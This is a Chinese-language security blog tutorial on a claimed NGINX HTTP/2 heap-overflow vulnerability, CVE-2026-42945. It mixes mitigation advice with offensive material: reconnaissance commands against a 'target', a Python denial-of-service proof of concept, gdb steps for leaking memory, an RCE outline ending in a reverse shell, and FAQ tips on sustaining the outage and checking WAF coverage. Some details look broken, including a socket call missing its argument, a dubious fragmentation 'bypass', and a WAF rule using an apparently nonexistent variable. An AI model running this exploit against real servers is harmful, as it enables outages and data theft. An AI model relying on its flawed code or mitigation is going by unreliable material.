PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】CVE-2026-42945(NGINX Rift):潜伏18年的9.2分高危漏洞复现与修复指南

📅 2026年5月24日 📁 Hermes Agent ⏱ 4 分钟

【教程】CVE-2026-42945(NGINX Rift):潜伏18年9.2分高危漏洞复现与修复指南

适合谁看

中高级安全研究员、渗透测试工程师、Nginx运维人员。需要了解 Nginx 基础配置和 Linux 命令行操作。

前置准备

  • 一台 Linux 测试机(Ubuntu 22.04 / CentOS 7+)
  • 安装 Nginx 1.22.x ~ 1.26.x(易受攻击版本)
  • 安装 gdb、curl、python3
  • 了解 HTTP 请求结构和内存布局基本概念

VM 快速搭建测试环境:


# 安装存在漏洞的版本(Ubuntu 22.04 示例)
sudo apt-get install -y nginx=1.22.0-1ubuntu3
# 查看版本确认
nginx -V 2>&1 | head -1
# 启动
sudo systemctl start nginx

漏洞概述

CVE-2026-42945(代号「NGINX Rift」)是 2026 年 5 月 12 日 Nginx 官方披露的一组高危漏洞中最严重的一个。CVSS v4.0 9.2 分(Critical),影响从 0.6.27(2008年)到 1.30.0(2026年) 的所有版本,覆盖了整整 18 年的历史版本。

根因分析

漏洞位于 Nginx HTTP/2 解析模块ngx_http_v2_module.c)。当处理特制的 PRIORITY 帧序列时,Nginx 的内存分配器未正确校验帧长度,导致堆缓冲区溢出(Heap Buffer Overflow)。具体来说:

  1. 攻击者发送精心构造的 HTTP/2 PRIORITY 帧,其中 length 字段被篡改
  2. Nginx 的 ngx_http_v2_state_priority 函数根据该长度分配了过小的缓冲区
  3. 后续帧处理时数据写入超出缓冲区边界,覆盖相邻的堆内存对象

发现者是初创公司 depthFirst 的安全研究团队,他们仅用 6 小时就自主发现了这个潜伏 18 年的漏洞。PoC 已公开,风险极高。

攻击效果

攻击类型利用难度影响
拒绝服务(DoS)触发 worker 进程崩溃
信息泄露堆溢出读取敏感内存数据
远程代码执行(RCE)控制 HTTP 请求处理流程

步骤一:环境检测

判断目标 Nginx 是否在受影响范围:


# 方法1:抓取 Server Header
curl -sI http://target.com | grep -i server

# 方法2:检测 HTTP/2 支持
curl -sI --http2 http://target.com -o /dev/null -w "%{http_version}\n"

# 方法3:nmap 脚本检测
nmap --script http-nginx-version -p 443 target.com

影响范围:

  • Nginx ≤ 1.30.0(全部受影响)
  • Nginx 1.31.0+(已修复)
  • 各发行版修补状态需查询官方公告

步骤二:PoC 复现(DoS 模式)

以下是一个触发 worker 进程崩溃的简单 PoC,使用 Python 构造恶意 HTTP/2 PRIORITY 帧:


#!/usr/bin/env python3
"""
CVE-2026-42945 DoS PoC - Nginx HTTP/2 Heap Overflow Crash Trigger
需要安装 h2 库: pip install h2
"""
import socket
import h2.connection
import h2.events
import h2.config

TARGET = ('127.0.0.1', 443)  # 改为目标地址

def trigger_crash():
    # 建立 TCP 连接
    sock = socket.create_connection(TARGET)
    sock.setblocking()

    # 配置 HTTP/2 连接
    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())

    # 发送正常的 HEADERS 帧建立流
    headers = [
        (':method', 'GET'),
        (':path', '/'),
        (':authority', f'{TARGET[0]}:{TARGET[1]}'),
        (':scheme', 'https'),
    ]
    conn.send_headers(1, headers)
    sock.sendall(conn.data_to_send())

    # 🔥 关键部分:发送精心构造的 PRIORITY 帧序列
    # PRIORITY 帧格式: Length(3) + Type(1) + Flags(1) + StreamID(4) + Payload
    # 正常的 PRIORITY payload 只有 5 字节: Exclusive(1) + StreamDep(4)
    # 我们构造一个 length=0xFFFF 的 PRIORITY 帧触发堆溢出
    malicious_frame = (
        b'\x00\xff\xff'     # Length = 65535 (超大)
        b'\x02'              # Type = PRIORITY
        b'\x00'              # Flags
        b'\x00\x00\x00\x03'  # StreamID = 3
        + b'\x41' * 65535    # 溢出 payload
    )

    # 绕过 Nginx 帧校验,通过分片发送
    try:
        sock.sendall(malicious_frame[:1024])
        sock.sendall(malicious_frame[1024:])
    except Exception as e:
        print(f"[!] 发送时触发异常: {e}")

    # 检查连接状态
    try:
        data = sock.recv(4096)
        if data:
            print("[*] 收到响应,服务可能未受影响")
        else:
            print("[+] 连接断开,可能触发了崩溃")
    except:
        print("[+] 连接异常断开 → worker 崩溃!")

    sock.close()

if __name__ == '__main__':
    print("[*] CVE-2026-42945 DoS PoC")
    print(f"[*] 目标: {TARGET[0]}:{TARGET[1]}")
    trigger_crash()

验证是否崩溃


# 查看 Nginx worker 进程数变化
watch -n 1 'ps aux | grep "nginx: worker" | grep -v grep | wc -l'

# 查看错误日志
sudo tail -f /var/log/nginx/error.log | grep -i "abort\|signal\|segfault"

如果 Nginx master 进程重启了 worker,说明漏洞触发成功。

步骤三:信息泄露利用思路

通过堆溢出读取相邻内存数据,可能泄露:

  • 其他 HTTP 请求的敏感数据(Cookie、Token、POST body 片段)
  • SSL 私钥(如果恰好在相邻的内存区域)
  • 其他用户会话数据
  • 内部网络配置信息

利用要点:

  1. 需要多次尝试不同的 PRIORITY 帧长度和填充模式
  2. 结合 gdb attach 分析 Nginx worker 进程的内存布局
  3. 利用偏移量计算需要溢出的精确字节数

# 附加 gdb 到 nginx worker
sudo gdb -p $(pgrep -f "nginx: worker" | head -1)
(gdb) b ngx_http_v2_state_priority
(gdb) c
# 等待触发
(gdb) info registers
(gdb) x/100gx $rsp

步骤四:RCE 利用(高级)

RCE 利用需要:

  1. 精确的堆布局(Heap Feng Shui)
  2. 绕过 ASLR 和 DEP
  3. 控制函数指针或 vtable
  4. 构造 ROP 链

通用思路:


1. 发送大量 HTTP/2 请求建立可控内存布局
2. 发送恶意 PRIORITY 帧覆盖某个函数指针
3. 触发该函数调用,跳转到 shellcode
4. 反向连接获取 shell

⚠️ 完整的 RCE 利用需要针对特定 Nginx 版本和 libc 版本进行调试,超出了本文范围。建议先在测试环境练习堆布局控制。

修复方案

紧急修复(立即执行)

方案1:升级 Nginx(推荐)


# Ubuntu/Debian
sudo apt-get update
sudo apt-get install -y nginx=1.31.0-1*

# CentOS/RHEL
sudo yum update nginx -y

# 官方源码编译
wget https://nginx.org/download/nginx-1.31.0.tar.gz
tar xzf nginx-1.31.0.tar.gz
cd nginx-1.31.0
./configure && make && sudo make install

# 重启验证
sudo nginx -t && sudo systemctl restart nginx
nginx -V

方案2:临时缓解(无法升级时)


# 禁用 HTTP/2(强烈推荐)
# 在 nginx.conf 中修改 listen 指令,移除 http2 参数
# 修改前:
listen 443 ssl http2;
# 修改后:
listen 443 ssl;

# 重新加载配置
sudo nginx -t && sudo systemctl reload nginx

方案3:WAF 虚拟补丁


# 在 server block 中添加规则,拒绝异常的 HTTP/2 PRIORITY 帧
# 这可以通过 ngx_http_lua_module 实现
location / {
    # 限制 HTTP/2 PRIORITY 帧的大小
    if ($http2_priority_length) {
        return 403;
    }
}

常见问题

Q1:PoC 发出去没反应?

检查目标是否开启了 HTTP/2(curl -sI --http2)。很多负载均衡器会在前端终止 HTTP/2,需要直接命中 Nginx 后端。

Q2:杀了 worker 但马上重建了?

正常现象。Nginx master 进程会自动拉起新的 worker。你需要持续发送恶意帧才能维持 DoS 效果。

Q3:我该优先升级还是禁 HTTP/2?

优先升级。禁 HTTP/2 会降低性能(HTTP/1.1 多路复用能力远不如 HTTP/2),且部分业务可能依赖 HTTP/2 特性。

Q4:会不会触发 WAF 告警?

部分云 WAF(Cloudflare、AWS WAF)已更新规则拦截此漏洞。如果目标在 WAF 后面,先确认 WAF 规则是否已覆盖。

总结

CVE-2026-42945 是 Nginx 历史上最严重的漏洞之一,影响范围极广(全球约 1/3 的网站)。虽然 RCE 利用门槛较高,但 DoS 和信息泄露的利用极其简单。核心修复手段是升级到 Nginx 1.31.0+临时禁用 HTTP/2

安全建议:

  • 生产环境 Nginx 在 24 小时内升级到 1.31.0+
  • 无法升级的立即禁用 HTTP/2
  • 升级后审计 /var/log/nginx/error.log 排查是否已被利用
  • 关注 Nginx 官方安全公告获取后续更新
← 返回首页